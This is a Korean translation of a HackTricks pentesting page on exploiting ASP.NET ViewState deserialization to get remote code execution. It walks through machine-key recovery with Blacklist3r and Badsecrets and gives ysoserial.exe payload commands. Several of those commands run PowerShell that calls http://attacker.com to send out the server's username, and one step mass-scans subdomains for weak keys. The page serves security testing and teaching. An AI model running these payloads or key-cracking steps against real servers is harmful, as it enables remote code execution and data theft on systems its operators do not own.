hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

18 KiB
Raw Blame History

__VIEWSTATE 비밀을 모르는 상태에서 악용하기

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요 !

HackTricks를 지원하는 다른 방법:

버그 바운티 팁: 해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼Intigriti가입하세요! https://go.intigriti.com/hacktricks에서 오늘 최대 $100,000까지의 바운티를 벌어보세요!

{% embed url="https://go.intigriti.com/hacktricks" %}

ViewState란

ViewState는 ASP.NET에서 페이지 및 컨트롤 데이터를 웹 페이지 전체에 걸쳐 유지하는 기본 메커니즘으로 작동합니다. 페이지의 HTML을 렌더링하는 동안 페이지의 현재 상태와 포스트백 중에 보존해야 하는 값들이 base64로 직렬화된 문자열로 변환됩니다. 이러한 문자열은 숨겨진 ViewState 필드에 배치됩니다.

ViewState 정보는 다음 속성 또는 그들의 조합에 의해 특성화될 수 있습니다:

  • Base64:
  • 이 형식은 EnableViewStateMacViewStateEncryptionMode 속성이 모두 false로 설정된 경우에 사용됩니다.
  • Base64 + MAC (Message Authentication Code) 활성화:
  • MAC의 활성화는 EnableViewStateMac 속성을 true로 설정하여 달성됩니다. 이는 ViewState 데이터의 무결성 확인을 제공합니다.
  • Base64 + 암호화:
  • 암호화는 ViewStateEncryptionMode 속성이 true로 설정된 경우에 적용되며, ViewState 데이터의 기밀성을 보장합니다.

테스트 케이스

이 이미지는 .NET 프레임워크 버전에 따라 ASP.NET에서 ViewState의 다른 구성을 설명하는 표입니다. 여기에 내용 요약:

  1. .NET의 모든 버전에 대해 MAC 및 암호화가 비활성화된 경우 MachineKey가 필요하지 않으며, 따라서 식별할 수 있는 방법이 없습니다.
  2. 4.5 미만의 버전에서 MAC가 활성화되어 있지만 암호화가 비활성화된 경우 MachineKey가 필요합니다. MachineKey를 식별하는 방법은 "Blacklist3r"로 알려져 있습니다.
  3. 4.5 미만의 버전에서 MAC가 활성화되었는지 여부에 관계없이 암호화가 활성화된 경우 MachineKey가 필요합니다. MachineKey를 식별하는 것은 "Blacklist3r - Future Development"의 작업입니다.
  4. 4.5 이상의 버전에서는 MAC 및 암호화의 모든 조합(둘 다 true이거나 하나는 true이고 다른 하나는 false인 경우)이 MachineKey를 필요로 합니다. MachineKey는 "Blacklist3r"를 사용하여 식별할 수 있습니다.

테스트 케이스: 1 EnableViewStateMac=false 및 viewStateEncryptionMode=false

AspNetEnforceViewStateMac 레지스트리 키를 0으로 설정하여 ViewStateMAC를 완전히 비활성화하는 것도 가능합니다.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

ViewState 속성 식별

BurpSuite를 사용하여 이 매개변수를 포함하는 요청을 캡처하여 ViewState가 MAC으로 보호되는지 확인할 수 있습니다. 매개변수를 보호하기 위해 Mac이 사용되지 않은 경우 YSoSerial.Net을 사용하여 취약점을 악용할 수 있습니다.

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

테스트 케이스 1.5 - 테스트 케이스 1과 유사하지만 서버에서 ViewState 쿠키를 보내지 않음

개발자는 ViewState가 HTTP 요청의 일부가 되지 않도록 설정할 수 있습니다(사용자는 이 쿠키를 받지 못함).
ViewState존재하지 않는다면, ViewState 역직렬화로 발생할 수 있는 잠재적인 취약점으로부터 구현이 안전하다고 가정할 수 있습니다.
그러나 실제로는 그렇지 않습니다. 요청 본문에 ViewState 매개변수를 추가하고 ysoserial을 사용하여 생성된 직렬화된 페이로드를 보내면, Case 1에서 보여준 것처럼 여전히 코드 실행을 달성할 수 있습니다.

테스트 케이스: 2 - .Net < 4.5 및 EnableViewStateMac=true 및 ViewStateEncryptionMode=false

특정 페이지에 대해 ViewState MAC를 활성화하려면 특정 aspx 파일에서 다음 변경 사항을 수행해야 합니다:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

web.config 파일에 아래와 같이 설정하여 전체 애플리케이션에 대해 수행할 수도 있습니다:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

파라미터가 MAC으로 보호되어 있기 때문에 공격을 성공적으로 실행하려면 먼저 사용된 키를 찾아야 합니다.

Blacklist3r(AspDotNetWrapper.exe) 를 사용하여 사용된 키를 찾아볼 수 있습니다.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets는 알려진 machineKeys를 식별할 수 있는 또 다른 도구입니다. Python으로 작성되어 있으므로 Blacklist3r와 달리 Windows 종속성이 없습니다. .NET viewstate의 경우 "python blacklist3r" 유틸리티가 있어 사용하는 가장 빠른 방법입니다.

뷰스테이트와 생성기를 직접 제공할 수도 있습니다:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

또는 대상 URL에 직접 연결하여 HTML에서 viewstate를 추출하려고 시도할 수 있습니다:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

대규모로 취약한 viewstate를 찾기 위해 하위 도메인 열거와 함께 badsecrets BBOT 모듈을 사용할 수 있습니다:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

행운이 따르면 키를 찾을 수 있고, YSoSerial.Net를 사용하여 공격을 진행할 수 있습니다.

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

서버에서 _VIEWSTATEGENERATOR 매개변수가 전송되지 않는 경우 --generator 매개변수를 제공할 필요가 없지만 이것들은 있습니다:

--apppath="/" --path="/hello.aspx"

테스트 케이스: 3 .Net < 4.5 및 EnableViewStateMac=true/false 및 ViewStateEncryptionMode=true

이 경우에는 매개변수가 MAC로 보호되었는지 알 수 없습니다. 따라서 값은 아마도 암호화되어 있고 취약점을 악용하기 위해 페이로드를 암호화하는 데 Machine Key가 필요할 것입니다.

이 경우에는 Blacklist3r 모듈이 개발 중입니다...

.NET 4.5 이전에, ASP.NET은 **ViewStateEncryptionMode**이 _Always_로 설정되어 있더라도 사용자로부터 암호화되지 않은 ___VIEWSTATE_매개변수를 수락할 수 있습니다. ASP.NET은 요청에서 __VIEWSTATEENCRYPTED 매개변수의 존재만을 확인합니다. 이 매개변수를 제거하고 암호화되지 않은 페이로드를 보내면 여전히 처리될 것입니다.

따라서 공격자가 파일 탐색과 같은 다른 취약점을 통해 Machinekey를 얻는 방법을 찾으면, YSoSerial.Net 명령은 Case 2에서 사용된 것과 같이 ViewState 역직렬화 취약점을 통해 RCE를 수행하는 데 사용될 수 있습니다.

  • ViewState 역직렬화 취약점을 악용하려면 요청에서 __VIEWSTATEENCRYPTED 매개변수를 제거하십시오. 그렇지 않으면 Viewstate MAC 유효성 검사 오류가 발생하여 악용이 실패합니다.

테스트 케이스: 4 .Net >= 4.5 및 EnableViewStateMac=true/false 및 ViewStateEncryptionMode=true/false를 제외한 모든 속성이 false로 설정된 경우

아래와 같이 web.config 파일 내에 아래 매개변수를 지정하여 ASP.NET 프레임워크의 사용을 강제할 수 있습니다.

<httpRuntime targetFramework="4.5" />

이를 대신하여, web.config 파일의 machineKey 매개변수 내에 아래 옵션을 지정함으로써 수행할 수도 있습니다.

compatibilityMode="Framework45"

이전과 마찬가지로 값이 암호화됩니다. 그럼, 유효한 payload를 전송하려면 공격자는 키가 필요합니다.

Blacklist3r(AspDotNetWrapper.exe)를 사용하여 사용되는 키를 찾아볼 수 있습니다:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

IISDirPath 및 TargetPagePath에 대한 자세한 설명은 여기를 참조하십시오.

또는, Badsecrets (생성기 값과 함께):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

유효한 Machine 키를 식별하면, 다음 단계는 YSoSerial.Net 을 사용하여 직렬화된 payload를 생성하는 것입니다.

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

만약 __VIEWSTATEGENERATOR의 값을 가지고 있다면, 해당 값과 함께 --generator 매개변수를 사용해볼 수 있으며, --path--apppath 매개변수를 생략할 수 있습니다.

ViewState 역직렬화 취약점의 성공적인 악용은 공격자가 제어하는 서버로의 외부 요청으로 이어질 것이며, 이 요청에는 사용자 이름이 포함됩니다. 이러한 유형의 악용은 "Blacklist3r 및 YsoSerial.NET을 사용한 ViewState 역직렬화 악용"이라는 자료를 통해 시연된 PoC(Proof of Concept)에서 확인할 수 있습니다. 악용 프로세스가 어떻게 작동하며 Blacklist3r와 같은 도구를 사용하여 MachineKey를 식별하는 방법에 대한 자세한 내용은 제공된 성공적인 악용의 PoC를 참조하십시오.

테스트 케이스 6 ViewStateUserKeys가 사용 중인 경우

ViewStateUserKey 속성은 CSRF 공격에 대항하기 위해 사용될 수 있습니다. 응용 프로그램에서 이러한 키가 정의되어 있고 이제까지 논의된 방법으로 ViewState 페이로드를 생성하려고 시도하면, 페이로드는 응용 프로그램에 의해 처리되지 않을 것입니다.
정확한 페이로드를 생성하려면 추가 매개변수를 사용해야 합니다:

--viewstateuserkey="randomstringdefinedintheserver"

성공적인 악용 결과

모든 테스트 케이스에서 ViewState YSoSerial.Net 페이로드가 성공적으로 작동하면 서버는 “500 내부 서버 오류”로 응답하며 응답 콘텐츠는 “이 페이지에 대한 상태 정보가 잘못되었을 수 있으며 손상될 수 있습니다”라고 표시되며 OOB 요청을 받습니다.

추가 정보는 여기에서 확인하세요.

참고 자료

버그 바운티 팁: Intigriti가입하여 해커들이 만든 프리미엄 버그 바운티 플랫폼에 참여하세요! https://go.intigriti.com/hacktricks에서 오늘 가입하고 최대 $100,000의 바운티를 받아보세요!

{% embed url="https://go.intigriti.com/hacktricks" %}

제로부터 히어로가 되기까지의 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법: